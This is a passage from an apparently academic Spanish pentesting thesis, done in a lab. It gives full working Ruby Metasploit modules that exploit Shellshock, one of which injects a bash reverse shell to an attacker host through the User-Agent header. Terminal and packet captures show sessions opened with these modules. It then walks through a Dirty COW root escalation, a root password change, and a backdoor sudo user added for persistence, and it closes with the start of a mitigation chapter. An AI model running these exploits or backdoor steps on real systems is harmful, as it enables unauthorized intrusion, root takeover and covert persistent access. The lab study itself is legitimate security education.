usuario que juega el papel de entidad atacante, Meterpreter en basicamente una shell
avanzada con un mayor abanico de funcionalidades para ejecutar acciones mas complejas
sobre el sistema explotado, mas sigiloso en lo que se refiere a evitar dejar un traza del
ataque realizado, y que mantiene las comunicaciones cifradas en el paso de informacién
entre el sistema vulnerable y la entidad atacante.

3.2.2. Creacion de un modulo en Metasploit

Ahora que hemos verificado como realizar la explotacion remota de la vulnerabilidad,
vamos a desarrollar e integrar el conjunto de instrucciones necesarias del exploit en un
modulo de Metasploit. De esta forma, y en el supuesto caso de publicar el médulo en el
repositorio online, otros usuarios podran utilizarlo para comprobar si sus sistemas son
seguros o vulnerables respecto a la vulnerabilidad Shellshock. Para realizar este desarrollo,
hacemos uso de la documentacién existente en la wiki del repositorio GitHub de Metasploit
[3], la cual nos ofrece informacion y ejemplos en cuanto a la estructura, clases y
funcionalidades que deben contener estos modulos.

Los nuevos modulos se empiezan a construir mediante el uso de herencia e importacion
de otros modulos y funcionalidades ya existentes en el framework Metasploit. Seguidamente
de la creacion de una estructura basica destinada a definir un conjunto de parametros para
documentar y configurar el exploit, realizar una primera comprobacion para verificar que
efectivamente el sistema es vulnerable al presente exploit, y finalmente lanzar el conjunto
de comandos necesarios para inyectar las instrucciones deseadas sobre el sistema
vulnerable.

Estos médulos destinados a la explotacion estan organizados en varios directorios dentro
de la ruta /usr/share/metasploit-framework/modules/exploits/ perteneciente
al framework Metasploit. En nuestro vamos a crear la ruta /uoc/ferpasri/shellshock/
sobre la cual vamos a integrar nuestros propios médulos. Ademas, es importante conocer
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que el el comando updatedb nos permite actualizar el framework Metasploit para utilizar
los nuevos modulos desarrollados.

Para realizar una primera version, destinada a integrar nuestro payload que abre una
conexion TCP en un mddulo de Metasploit, es necesario heredar la funcionalidad que nos
ofrece el modulo Msf: :Exploit: :Remote. Esto se debe a que nuestro exploit va a estar
destinado a la explotacion de sistemas remotos. También es necesario importar la
funcionalidad que nos ofrece el modulo HttpClient, ya que el ataque se realiza
camuflando una peticion web de un cliente a un servidor vulnerable.

Incluimos un conjunto de parametros en el médulo destinados a actuar como informacion
y descripcion de la funcionalidad desarrollada: el nombre esta destinado a describir a qué
producto afecta la vulnerabilidad, la descripcidon debe realizar una explicacion acerca del
modulo, y autor donde incluimos nuestra identidad o pseudénimo.

Por otro lado, también es necesario incluir otro conjunto de parametros que
posteriormente son utilizadas por Metasploit para el lanzamiento de diversas
funcionalidades, o para la identificacion de dependencias: el identificador que hace
referencia a la vulnerabilidad explotada ('CVE', '2014-6271’), la plataforma compatible
con el exploit (‘linux’), y una lista de sistema operativos y arquitecturas sobre las cuales
el exploit es capaz de realiza su ejecucion (¢ linux’, ’ARCH_X86").

En el presente exploit también es necesario definir otro conjunto de parametros que son
utilizados para realizar la comunicacion web entre el cliente y el servidor. Al heredar el
modulo Msf: :Exploit::Remote el parametro RHOSTS destinado a solicitar la direccion
de destino sobre la cual se realiza el exploit sera directamente solicitado por Metasploit.

Nosotros vamos a afadir de forma adicional los parametros LHOST y LPORT, para
determinar sobre qué direccion y puerto se lanzara la conexion TCP reversa del payload
inyectado, TARGETURI para indicar la ruta del CGI vulnerable a Shellshock, METHOD vy
HEADER para definir el protocolo y cabecera web utilizados, y un TIMEOUT para no esperar
mas tiempo del necesario en caso de que el exploit no se realice satisfactoriamente.

Después de definir cuales van a ser todos los parametros necesarios, implementamos el
método denominado magic_string. Este contiene las instrucciones necesarias para
definir una funcion Bash y conseguir explotar la vulnerabilidad Shellshock, donde
seguidamente se incluye la instruccién que lanza la conexion TCP dirigida a nuestra
maquina que actia como shell remota. En la segunda version desarrollada vamos a ver que
no es necesario definir estas instruccién para lanzar la conexion TCP, ya que es posible
utilizar un payload propio de Metasploit para la obtencion de la shell avanzada Meterpreter.

Por ultimo, definimos el método exploit desde donde se realiza la peticion web

utilizando las direcciones y protocolos web establecidos, e invocando el uso de
magic_string para ser usado sobre la cabecera User-Agent.
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Esto permite la ejecucién del exploit, pero también es necesario indicar a Metasploit que
debe mantenerse a la escucha de conexiones TCP para la apertura de una shell de tipo
reverse. Para ello, es posible establecer el uso del payload set payload
generic/shell_reverse_tcp junto al presente exploit, usado uUnicamente como
receptor de la peticion TCP inyectada.

Caodigo del archivo propio_tcp.rb:

HHH R R R R
# UOC - Universitat Oberta de Catalunya

# Master MISTIC

# Fernando Pastor Ricos

SRR R R e e
# Academic file for Metasploit Framework

# Shellshock vulnerability

HHH R R R R

require 'msf/core'

# Nuestro modulo es una subclase del modulo de Metasploit, el cual nos otorga la
funcionalidad necesaria para la explotacion de maquinas remotas
class MetasploitModule < Msf::Exploit::Remote

# El siguiente mddulo nos ofrece los métodos necesarios para actuar como cliente HTTP
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'UOC - Hackers Club - Shellshock',
'Version' =>'1.0',
'‘Description' => "This module exploits the shellshock vulnerability for Academic
purposes',

'‘Author' => 'Fernando Pastor Ricos - UOC',
'License' => 'MSF_LICENSE!,
'References' =>

[

['CVE', '2014-6271"]
1,

'Platform' => ['linux'],

‘Targets' =>
[
[ 'Linux',
{
'Platform’ =>"linux’,
'‘Arch’ =>[ARCH_X86]
}
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register_options([
Opt::LHOSTY(),
Opt::LPORT( ),
OptString.new('TARGETURI', [true, 'Ruta del script CGI vulnerable']),
OptString.new('METHOD', [true, 'Metodo HTTP a utilizar', 'GET"),
OptString.new('HEADER, [true, 'Cabecera HTTP a utilizar', 'User-Agent’),
Optint.new('TIMEOUT?, [true, 'Tiempo maximo de respuesta para la peticion HTTP

(segundos)', 5])

], self.class)
end

def magic_string

Ihost = datastore[LHOST']

Iport = datastore['LPORT']

%Q{() { :;}; echo; /bin/bash -c /bin/bash -i >& /dev/tcp/#{lhost}/#{Iport} 0>&1}
end

def exploit

send_request_cgi(

{
'method' => datastore[[METHOD],
'uri' => normalize_uri(target_uri.path.to_s),
'headers' => {

datastore[HEADER'] => magic_string

}

}, datastore[ TIMEOUT'])

if session_created?
print_status("YES, session created d:)")

else
print_status("NO session created... please set this payload:")
print_status("set payload generic/shell_reverse_tcp")

end

end
end

Esta version es capaz de ofrecernos una shell remota en una sesién de Metasploit, la
cual puede ser actualizada de forma automatizada a una sesiéon avanzada de Meterpreter
utilizando la instruccién sessions -u -id [36].

Aunque actualmente tenemos un moédulo funcional, vamos a realizar un ultimo paso
donde utilizamos funciones de Metasploit que contienen payloads predefinidos para la
obtencion directa de una sesion de Meterpreter. Concretamente utilizaremos el command
stagers predefinido de la funcién printf, donde el payload inyectado son una serie de
comandos Bash que escriben cédigo sobre el directorio /tmp/ del sistema vulnerable, para
posteriormente ejecutarlo y conseguir la apertura de una sesién de Meterpreter [37].
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Actualizamos la version anterior para importar el nuevo  modulo
Msf::Exploit::CmdStager, definimos un nuevo pardametro destinado a sefialar en
Metasploit cual es el tipo de command stager que queremos utilizar (' CmdStagerFlavor'
=> [:printf]), modificamos el método magic_string(cmd) para eliminar las
instrucciones que abren una conexidon remota y ejecutamos en Bash el nuevo payload
/bin/bash -c "#{cmd}"; por ultimo, definimos el método utilizado por la presente
funcionalidad el cual incluye la peticion web al servidor remoto execute_command (cmd,
opts).

Caodigo del archivo propio_meterpreter.rb:

SR R S R R
# UOC - Universitat Oberta de Catalunya

# Master MISTIC

# Fernando Pastor Ricos

HHH AR R R
# Academic file for Metasploit Framework

# Shellshock vulnerability

HHH R R R

require 'msf/core’

# Nuestro médulo es una subclase del modulo de Metasploit defino especialmente para la
explotacion de maquinas remotas
class MetasploitModule < Msf::Exploit::Remote

# El siguiente modulo nos ofrece métodos necesarios para actuar como cliente HTTP
include Msf::Exploit::Remote::HttpClient

# El siguiente modulo nos permite utilizar los cmdstagers como payload para abrir una
sesion de Meterpreter
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'UOC - Hackers Club - Shellshock’',
'Version' => '2.0',
'Description’ => 'This module exploits the shellshock vulnerability for Academic
purposes',
'Author' => 'Fernando Pastor Ricos - UOC',
'License' => 'MSF_LICENSE',
'‘References' =>
[
['CVE', '2014-6271']
1,
'Platform' => ['linux’],
"Targets' =>
[
[ 'Linux',

{
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'Platform’ =>"linux',

'‘Arch’ => [ARCH_X86],

# Utilizaremos el command stager predefinido de la funcién printf
'CmdStagerFlavor' => [:printf]

]
]
)

register_options([
OptString.new('TARGETURI', [true, 'Ruta del script CGI vulnerable')),
OptString.new('METHOD', [true, 'Metodo HTTP a utilizar', 'GET"),
OptString.new('HEADER, [true, 'Cabecera HTTP a utilizar', 'User-Agent’),
Optint.new('TIMEOUT, [true, 'Tiempo maximo de respuesta para la peticion HTTP

(segundos)', 5])
], self.class)
end

def magic_string(cmd)
%Q{() { :;}; echo; /bin/bash -c "#{cmd}"}
end

def execute_command(cmd, opts)

send_request_cgi(

{
'method' => datastore[[METHOD],
'uri' => normalize_uri(target_uri.path.to_s),
'headers' => {

datastore[[HEADER'] => magic_string(cmd)

}

}, datastore[ TIMEOUT'])

end

def exploit

# Invoca execute_command(cmd, opts)
execute_cmdstager

if session_created?

print_status("YES, session created d:)")
else

print_status("NO session created...")
end

end
end
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3.2.3. Verificacion de explotacion con Metasploit

Una vez desarrollados e integrados los archivos Ruby que realizan la funcionalidad como
un moédulo de Metasploit, estos pueden ser seleccionados desde la consola utilizando la
opcion use exploit. Las imagenes 3.8 y 3.9 muestran la configuracion y ejecucion del
primer modulo que abre una conexion tcp remota, mientras que las imagenes 3.10 y 3.11
muestran la configuracion y ejecucion del segundo médulo destinado a abrir una sesién
Meterpreter.

En ambas podemos observar la comparacion de direcciones ip, la obtencién de una
sesion perteneciente a un usuario denominado hca, y la captura de red obtenida mediante
la herramienta Wireshark.

KaliLinux [Corriendo] - Oracle VM VirtualBox

Archivo Méquina Ver Entrada Dispositivos Ayuda

o Applications Places ] Terminal May5 13:09

i+ root@kali: /usr/share/metasploit-framework/modules/exploits/uoc/ferpasri/shellshock

: # 1ls "propio_tcp.rb"

propio_tcp.rb
5 # updatedb

# msfconsole

=[ metasploit v5 ev

+ -- --=[ 2006 exploits - 1093 auxiliary - 342 post
=[ 560 payloads - 45 encoders - 10 nops
=[ 7 evasion

Metasploit tip: View advanced module options with advanced

sf5 > use exploit/uoc/ferpasri/shellshock/propio_tcp

msf5 exploit( ) > set RHOSTS 192.168.100.5

RHOSTS => 192.168.1008.5

msf5 exploit( ) > set TARGETURI /cgi-bin/vuln.cgi
TARGETURL => /cgi-bin/vuln.cgi

msf5 exploit( ) > set LHOST 192.168.100.4

LHOST => 192.168.100.4

msf5 exploit( ) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp

msf5 exploit( ) >

Imagen 3.7. Configuracion del modulo que abre una shell de tipo reverse.
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[l KaliLinux [Corriendo] - Oracle VM VirtualBox w/
Archivo Maquina Ver Entrada Dispositivos Ayuda

Applications  Places wireshark

Eile Edit Niew Go Capture Analyze Statistics Telephony Wireless Tools Help

EEEIPEE T

ity ) > ifconfig | grep “inet 192"
ifconfig | grep "inet 192" A =

168.100.4 netmask 255.255.255.0 broadcast 192.168.100.255 (CIES
) > exploit source Destination preocol[Lenge i
05— 107. 1681604 T4 6577~ 86 [SIN] Seq=0 Win=61240 Lon=0 WSS=1478 SACK PERY
i Eiersaiioe Fandles o 192 16ala0006: 2 0lco0au@stn 192,168 1605 74 30 - 2877 (O, AGK] SaqD Ao Vine2aso Lon= NS
SR RO T L GIERR Etl T 3 0.009359930  192.168.100 T 88 [A‘ ] 5 Win=64256 9 Tsval=3 4
Ejecutando Ioit, .. ol 164,
Command shell session 1 opened (192.168.100.4:8888 -> 192.168.100.5:49296) at 2020-05-05 13:11:43 -
YES, session created d 74 40296
6 49296 - aocb. [ACK] Se
pwd 60 Wl 2.168.100.47 Tell 192.168.100. 5
/var/wwn/cgi-bin 10 5.00725359: s a; 42 t 60:00: eief:b
b 5015224610 197.968.700.¢ 157 o o 26si7 - oo [EIn A00) SoqeRekcd Usr-auzss o
< iy = 5 12 5.653613062  192.168.100.5 192,168.100.4 T €6 80 MLK\ Sea-t A:K 197 Win=36080 Len:
id=1000(hca) gid=50(staff) groups=5a(staff) 7692750043 -168. T 70 19 . ) Seq-1 acket Wi
sbin/ifconfig 7.683234000 109, 9 66 49206 ~ B 5 Win=29312 Les
echo Link encap:Ethernet HWaddr 08:00:27:89:EA:73 7.683492544  192.168.400.5 92.168.100. 83 49206 - Soaed Ackes Win- 20512
e e § Toase00Ts 192160100 4 : 1 S Adk-10 Wan-G5210 Lon- s Toul 3722
S e Lieieeal b L Lol Loertal 17 9717110075 197,468 1571168, 0. 69 8960 43290 [ s 3 TSval
UP BROADCAST RUNNING MULTICAST NTU:1500 Metric:l o eeaenises o s Vieoa boncdt Yooy
RX ua(krl) 27 d overruns:@ frame:0 718646584  192.168.100.4 722
: 0 16916015156 192.108.100.4 sm_ﬁ ekt o
Ul 16.917567631 192.168.160.5 P 6 - 86886 Seq Ack
18.917580880 152,168,109 116100 6 aaso - 1223 Acked Minb4512 LeneD TovaL=37
1537 (21.0 KiB) 20.475004732  192.168 £ ACK] SEn-?J ACk=880 Win=64512 Len=5 TSvj
5 192.168.100.4 49296 - ¢ i,

Interrupt:9 Base address:0xd020

Link encap:Lacal Loopback CRER] 92.100,100 " S350 =
inet addr:127.0.0.1 Mask:255.0. e .
UP LOOPBACK RUNNING MTU:65536 Metric:1 Erass - 761 bytes an vire (2089 Dite), 261 bytas cantured (2088 bits) on intertace o
ors:0 dropped:0 overruns: Ethernet 1T, Sre: PesCompu_ce:e6:b6 (08:09:27:ee:e6:bs), DSt: PesConpu_bg:ea:7d (6
Intarnat Protacal Vorston A, Sre: 103.166.100.¢, Dt: 162.166.100 6

wWa
b9:ea:73)

(Rcarxore: B doppad-@-cvarvuns: 8;Carrier: Transnission Control Protocsl, Src Part: 36577, Dst Port: 89, Seq: 1, Ack: 1, Len: 185
0 txqueueles rtext Transter Protacol
RX bytes:0 (0.8 B) TX bytes:0 (0.0 B) a 5
Host; 192,168,160 5\
I agen echo; /bin/bash -c /bin/bash -1 >& /dev/tep/192.168.160.4/8888 G>21\r\n

hi
42 4 =99ucauar\/x Wil -TOrm- urlencoded\rin
192.168.100.5 - Conmand shell session 1 closed
nsf5 exploit( )] [Full request URT: http://192.168.109.5/cqi-bin/vuln,cgi]
quest 171]

[Response in frane; 26]
42 47 45 54 28 2 63 67 69 20 62 69 be 2 16 -G /C gL-0in/v

6c 6o 20 69 20 eordizean uncgt IR
0a 48 o 32 2¢ 31 36 38 7 Host: 192,16
75 26 1167 85 60 1605 U ser Agon

0 3b 20 65 63 68 t: () { :;}; ech
T3 68 20 24 63 20 o0F Jbin/ bash -c
20 20 69 28 30 26 20 /bin/bas h -1 >4
139 32 20 31 36 38 /Oov/tcp /1

38 38 38 20 30 38 26 31 .100.4/8 BBS 041 =

Packets: 26 - Displayed: 28 (100.0%) - Dropped: 0.{0.0%)  Profile: Default

Imagen 3.8. Ejecucion del modulo que abre una shell de tipo reverse.

ﬁ Kalilinux [Corriendo] - Oracle VM VirtualBox

Dispositivos  Ayuda

Archivo Maquina Ver Entrada

Applications  Places @ wireshark

Edil Yiew Go Capture Analyze Statistics

# 1s “propio_meterpreter.rb® i
@miRE Q@

# updatedn

# msfconsole

Source Destination
192.168.100.4 107.168.100.5 Tce (5] Seq-0 Win-64245 L
192.168.100.5 102.168.100.4 TCP > IS, ACK] Seq-0 Acke1 Win-
192,168, 100.4 168.100.5 TP 3 [ACK] Seq: Win=64256 Len:
g 9 i 8'CEY Jegi-b

[romxxnse 7 52 765. 100.5 T 2 [ACK]
ity 1681 -

Py
13 ACko3003 wincissss Cont
AEK] | Some4BaT Asket i
5:

2.
44775 - aaas
. 444

560 payloads - 45 encoders - 10 nops

it v5.0 1
xploits - 1093 auxiliary - 342 post i
1
[ 7 evasion 1

Metasploit tip: To save all commands executed since start up to a file, use the na comnand 192 P 54 4444 ~ 44770
g 44776 - 4044 [ACK] So01 ACke14587 i

: : 4 Foota 66 44776 ~ A ACK=16035 Win=61856 Len= r
msfS > use exploit/uoc/ferpasri/shellshock/propio_meterpreter 1 92.18 66 44776 ~ 4444 [ACK] Seq=1 Ack=17483 Win=54060 Len e
msfS exploit( ) > set TARGETURI /cgi-bin/vuln.cgi
TARGETURI => /cgi-bin/vuln.cgi
nsfS exploit( ) > set RHOSTS 192.168.100.5 o
RIISTS =2.192 108, 108.3 v ssion Protocol, Src Port: 35837, Dst Port: 80, Seq: 1

) > exploit

on dnterface etho, 1d O
| b9:ea:73 (08:00:27:b0%ea:73)

Ack: 1, Len: 854

T _/cgi-bin/vuln.cgi H
Started reverse TCP handler on 192.168.100.6:. < 192,168,100 W\' .
Eaiiands e inTots [truncated]User-Agent: () { :5}; echo; /bin/bash -G "printf '\177\I0S\I4VIBE\IA\L\ONG\GNING\ NG\ O\DN2\B BB 1N\ BABN 2N 200N
LA I G Conter o ieat o e Forn ot encedodron
Sending stage (980808 byte:) to 192.168.100.
Meterpreter session 1 opened (192.168.100.4:4444 => 192.168.100.5:44776) at 2020-85-05 13:22:36 -0400 [Full request URL: http://192.166.186.5/cgi-bin/vuln.cgi]
Command Stager progress - 100,00 done (105/705 bytes) L remeta
YES, session created d:) .
©7 69 70 02 60 88 2T 76 GET /C QL-bin/Y =
48 54 54 50 2 3120 31 wln.cgi HTTP/LI

20 3 36 38 2 2

20°41 61 65

a1 et 47 a5 51
> getuid 75 6e 6e 2o 63

neterpreter
Server username: no-user @ hackersClub (uid=1000, gi 00 0a 48 6f 73
= 31,0 35 22 35

26
68 28

5¢ 31 37 37
15 5¢ 31 6¢ 31 5¢
e Elratiries hy s Packats: 541 - Displayed: 544 (100.0%) - Droppec: 0 (0.0%)  Profile: Default

Imagen 3.9. Configuracion del médulo que abre una sesion de Meterpreter.
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ﬁ KaliLinux [Corriendo] - Oracle VM VirtualBox

Archivo
gE Applications Places [ Terminal May5 13:29

Méaquina Ver Entrada Dispositivos Ayuda

a root@kali: fusr/share/metasploit-framework/modules/exploits/uoc/ferpasri/shellshock
meterpreter > sysinfo
Computer : 192.168.100.5
0s : (Linux 4.2.9-tinycore)
Architecture : 1686
BuildTuple : 1486-1inux-musl
Meterpreter x86/1inux
meterpreter > getuid
Server username: no-user @ hackersClub (uid=1000, gid=50, euid=1000, egid=50)
meterpreter pud
/var/wen/cgi-bin
meterpreter > shell
Process 728 created.
Channel 1 created.
id
uid=1000(hca) gid=50(staff) groups=50(staff)
pud
/var/wwu/cgi-bin
exit
meterpreter > background
Backgrounding session 1...
msf5 exploit( ) > ifconfig
exec: ifconfig

etho: g5=4163<UP,BROADCAST , RUNNING, MULTICAST> mtu 1500
1 00.4 netmask 255.255.255.0 broadcast 192.168.100.255

2 7ff:feee:e6b6 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:ee:e6:b6 txqueuelen 1000 (Ethernet)
RX packets 727 bytes 92467 (90.2 KiB)
RX errors @ dropped @ overruns @ frame @
TX packets 1069 bytes 1067942 (1.0 MiB)
TX errors @ dropped © overruns @ carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0 netmask 255.0.0.0
ineté prefixlen 128 scopeid @x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 75 bytes 4126 (4.0 KiB)
RX errors @ dropped @ overruns @ frame 0
TX packets 75 bytes 4126 (4.0 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

msf5 exploit( ) > I

Imagen 3.10. Ejecucion del modulo que abre una sesion de Meterpreter.
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Capitulo 4: Post-Explotacion

La etapa de post-explotacion es la fase que sucede a la explotacidon de un sistema, en
esta el objetivo principal es intentar obtener los maximos privilegios posibles para poder
realizar todo tipo de acciones. Por un lado, es importante crear una puerta trasera destinada
a mantener el futuro acceso al propio sistema vulnerable, posiblemente mediante
conexiones ocultas y evitando las posibles evidencias que pueden provocan la ejecucién de
un exploit remoto. Y por otro, es interesante obtener acceso a posibles nuevas maquinas
existentes dentro de la red a la que pertenece la entidad atacada.

Nosotros nos vamos a enfocar en realizar una escalada local de privilegios sobre la
maquina vulnerable, y en crear un usuario que nos permita la conexion a la maquina sin la
necesidad de una nueva ejecucion del exploit con Metasploit. Para ello, se va a utilizar una
de las variantes del exploit Dirty COW [38] siguiendo la recomendacion de la documentacién
ofrecida por el profesorado de la UOC. Sin embargo, no realizamos su integracion como
modulo de la herramienta Metasploit, ya que esto escapa del ambito del presente trabajo.

4.1. Escalada de privilegios

La escalada de privilegios es un tipo de ataque o ventaja que se toma sobre una
vulnerabilidad para obtener mayores o diferentes permisos, respecto a los asignados por
defecto a la sesién de un usuario. Este tipo de escalada de privilegios puede distinguirse en
dos tipos: escalada vertical y escalada horizontal [39].

Kernel A Kernel
| I
Root Root
| I
Admin Admin
| /\
User If:::('ﬂ:l User 1 User 2

Escalada
Vertical
Imagen 4.1. Diagrama respecto a los tipos de escalada de privilegios.
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Mientras que la escalada vertical es aquella que eleva los privilegios que por defecto
deberia tener asignado un usuario o proceso, la escalada horizontal es aquella que permite
a un usuario tomar la identidad de otro, el cual puede tener acceso a diferentes partes del
sistema o red de la entidad atacada.

Normalmente, y al igual que en nuestro caso, tras la explotacién de una vulnerabilidad
que nos otorga acceso a un sistema, la entidad atacante se encuentra en la situacion de
tener control sobre una sesién de usuario con privilegios restringidos, es decir, no es capaz
de realizar todo tipo de acciones. Cuando consultamos sobre la shell o sesion de
Meterpreter cual es la identidad obtenida tras realizar la explotacion remota, obtenemos una
respuesta indicandonos que somos el usuario hca.

La identificacion de posibles exploits enfocados a la elevacion vertical de privilegios
requiere de un nuevo analisis sobre los servicios disponibles, descubiertos en la etapa de
identificacién de vulnerabilidades tras escanear el sistema vulnerable. También es posible
utilizar algunos moédulos como post/multi/recon/local_exploit_suggester de
Metasploit, para obtener sugerencias respecto a posibles exploits, o lanzar desde
Meterpreter el script denominado getsystem, el cual intentara utilizar diferentes técnicas
para elevar los privilegios, pero que por defecto no suele funcionar.

4.2. Dirty COW

La vulnerabilidad Dirty COW fue documentada a partir de octubre de 2016 y esta
catalogada con el identificador CVE-2016-5195. Es una vulnerabilidad que existe
aproximadamente en el kernel de Linux desde la version 2.6.22 lanzada en 2007, y ha
afectado a casi todos los sistemas Linux hasta el parche lanzado en noviembre de 2017.

Esta vulnerabilidad se aprovecha de una condicién de carrera existente en la técnica de
gestion de recursos del sistema, denominada como “Copy-On-Write” (COW, en espaiiol,
copiar al escribir), la cual realiza copias de un recurso del sistema si multiples procesos
piden acceso a dicho recurso. Un usuario del sistema que tenga permisos de lectura sobre
un recurso de un sistema Linux, puede lanzar dos hilos de ejecucién que realicen multiples
peticiones sobre un mismo recurso, hasta que dicha condicién de carrera se cumpla, se
sobreescriba la memoria en el sistema afectado y se realice la escalada de privilegios.

Dirty COW dispone de una pagina y repositorio web con documentacién y archivos
preparados para ser compilados y utilizados como exploits. Elegimos el archivo denominado
cowroot.c el cual incluye dos shellcodes especificas para sistemas Linux de 32 y 64 bits,
donde por defecto se utiliza el archivo /usr/bin/passwd como recurso para la explotacion
de la técnica COW. En el propio codigo esta indicado cuales son los pasos necesarios para
su compilacién y ejecucion.

Debido a que la maquina vulnerable es un sistema Linux de 32 bits, habilitamos la
shellcode indicada para dicha arquitectura. También es importante sefalar que el usuario

hca sobre el cual se ha obtenido una sesiéon en la fase previa de explotacion, tiene
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permisos de superusuario sobre el sistema explotado, y permisos de lectura sobre el
recurso passwd indicado; en caso contrario, seria necesario utilizar otro recurso del
sistema.

Una vez el cédigo del archivo que va a explotar Dirty COW esta preparado [Anexo D],
realizamos su compilaciéon utilizando la herramienta GNU Compiler Collection, donde
indicamos que el ejecutable sera usado sobre sistemas de 32 bits. También es necesario
otorgar permisos de ejecucion sobre el archivo compilado, accion sencilla gracias a que hca
tiene permisos de superusuario.

a root@kali: ~/UOC_TFM_Metasploit/PEC3_Explotacion

# nano cowroot.c
£ # gcc -m32 cowroot.c -o cowroot -pthread
cowroot.c: In function ‘procselfmemThread’:
cowroot.c:52:17: passing argument 2 of ‘lseek’ makes integer from pointer without a cast [
52 | 1seek(f, ,SEEK_SET);
|
|

In file included from cowreot.c:7:
fusr/include/unistd.h:334:41: expected '__off_t' {aka ‘long int'} but argument is of type 'void *'
334 | extern __off_t lseek (int __fd, , int __whence) __THROW

cowroot.c: In function ‘main’:
cowroot.c:89:5: impli declaration of function ‘asprintf’; did you mean ‘vsprintf'? [
89 | (6backup, "cp %s /tmp/bak", suid_binary);
|

cowroot.c:93 implicit declaration of function 'fstat’ [
93 |

Imagen 4.2. Compilacién del ejecutable cowroot.

Cuando el ejecutable esta listo para realizar la escalada de privilegios, utilizamos nuestro
exploit destinado a aprovecharse de la vulnerabilidad Shellshock para abrir una sesion de
Meterpreter. Este payload, o shell avanzada, de Metasploit nos ofrece una funcion
denominada upload, la cual estd destinada a copiar archivos desde nuestra maquina
atacante al sistema remoto vulnerable. Utilizamos dicha funcion, abrimos una consola de
comandos, otorgamos el permiso de ejecucion gracias a los privilegios de superusuario de
hca, y ejecutamos el exploit Dirty COW; lo que nos permite obtener privilegios de root sobre
el sistema remoto vulnerable.

La variante utilizada del exploit Dirty COW sobrescribe los datos originales del archivo
/usr/bin/passwd, por este motivo es necesario restaurar el contenido original utilizando
la copia temporal almacenada en /tmp/bak.

Una vez realizada la escalada de privilegios y obtenido el control del superusuario root,
podemos cambiar la propia contrasefia de este mismo superusuario, 0 crear un nuevo
usuario con permisos de superusuario sobre el cual es posible realizar posteriormente una
conexién ssh remota, sin la necesidad de volver a ejecutar el exploit remoto. Para ello
hacemos uso del comando adduser, y le afiadimos permisos de superusuario sobre el
archivo /etc/sudoers [45, 52].
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E KaliLinux [Corriendo] - Oracle VM VirtualBox
Archivo Maquina Ver Entrada Dispositivos Ayuda

26  Applications Places EJ Terminal May17 16:07

n root@kal UOC_TFM_Metasploit/PEC3_Explotacion

msf5 exploit( ) > set RHOSTS 192.168.100.5
RHOSTS => 192.168.100.5

msf5 exploit( ) > set TARGETURI /cgi-bin/vuln.cgi
TARGETURL /cgi-bin/vuln.cgi

msfS exploit( ) > exploit

Started reverse TCP handler on 192.168.100.4:4444

Ejecutando exploit...

Sending stage (980808 bytes) to 192.168.100.5

Meterpreter session 1 opened (192.168.100.4:4444 -> 192.168.100.5:47038) at 2020-05-17 16:04:34 -0400
Command Stager progress - 100.00% done (705/705 bytes)

YES, session created d:)

meterpreter > cd /tmp

meterpreter > upload cowroot
uploading cowroot -> cowroot
Uploaded 00 B of 16.33 KiB (-0.01 cowroot -> cowroot
uploaded : cowroot -> cowroot

meterpreter > shell

Process 649 created.

Channel 2 created.

cd /tmp

chmod 755 cowroot

gid=50(staff) groups=50(staff)

/couroot

id

uid=0(root) gid=50(staff) groups=50(staff)
s

aberr

bak

cowroot

dDXti

k5_skip

tce

tcloop

mv bak /usr/bin/passwd
passwd

Changing password for root
New password: uoc

Bad password: too short
Retype password: uoc

Password for root changed by root

Imagen 4.3. Explotacion de Dirty Cow desde Metasploit.

[ KaliLinux [Corriendo] - Oracle VM VirtualBox = a
Archivo Maquina Ver Entrada Dispositivos Ayuda
Applications  Places  [Z) Terminal May24 08:48

id o s asrig192.168.100.5
uid=0(root) gid=50(staff) groups=50(staff) 7 3192.168.100.5's password:
adduser ferpasri -G staff -s /bin/sh

Changing password for ferpasri

New password: ferpasri

Bad password: similar to username
Retype password: ferpasri

Password for ferpasri changed by root
echo "ferpasri ALL=(ALL)ALL tc/sudoers

) groups=50(staff)
ferpasridhackersClub:~$ sudo cat /etc/sudoers

We trust you have received the usual lecture from the local System
‘Admnisn'awxu It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

Password:
i

# This file MUST be edited with the 'visudo’ command as root.

#
# See the man page for details on how to write a sudoers file,
#

Host alias specification
User alias specification
nd alias specification

# User privilege specification
root  ALL=(ALL) ALL

tc ALL=NOPASSH L

hca ALL=NOPASSW

ferpasri ALL=(ALL)ALL
ferpasridhackersClub:~$ [|

Imagen 4.4. Creacion de un superusuario que nos permite conectarnos mediante ssh.
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Capitulo 5: Mitigacion de vulnerabilidades

Para finalizar las fases existentes en el actual proceso de pentesting, vamos a describir
en el presente capitulo la etapa destinada a la mitigacién de las vulnerabilidades
detectadas. Dicha mitigacién de vulnerabilidades tiene como objetivo dificultar y reducir las
posibilidades de que una entidad no autorizada consiga explotar una vulnerabilidad, o, en
caso de que dicha entidad lo consiga, minimizar el impacto de las acciones que un atacante
puede llegar a realizar sobre el sistema afectado.

Estas medidas pueden dividirse en diferentes categorias o niveles de seguridad segun
cuales sean sus propositos. A continuacién, vamos a introducir un modelo generalizado de
planificacién e implementacion de medidas de seguridad, y después mencionamos una
serie de politicas e implementaciones destinadas a mitigar las vulnerabilidades detectadas.

5.1. Defensa en profundidad

Una planificacion adecuada y aproximada a la realidad, conlleva el disefio y la
implementacién de diversas medidas de seguridad aplicadas en las diferentes capas, o
niveles, existentes en los sistemas de tecnologia de la informacién. Este control aplicado
por capas es lo que se conoce como modelo de defensa en profundidad, el cual tiene el
objetivo de prevenir que un atacante acceda a una capa del sistema y, en caso de que lo
consiga, evitar que pueda acceder a la siguiente capa [42, 43, 44].

e Politicas, Procedimientos y Concienciacion

Definicion de las politicas, reglas y procedimientos que deben seguir las personas
pertenecientes a una organizacion. Donde también se definen las politicas y el control de
acceso que tendran las entidades externas, respecto a los recursos ofrecidos por dicha
organizacion.

e Seguridad Fisica de recursos

Mantener seguros los recursos fisicos de una organizacién (ordenadores, servidores y
routers entre otros) mediante vigilancia, medidas control de acceso, o incluso comprobacion
de las condiciones ambientales de las salas.

e Seguridad en las Redes

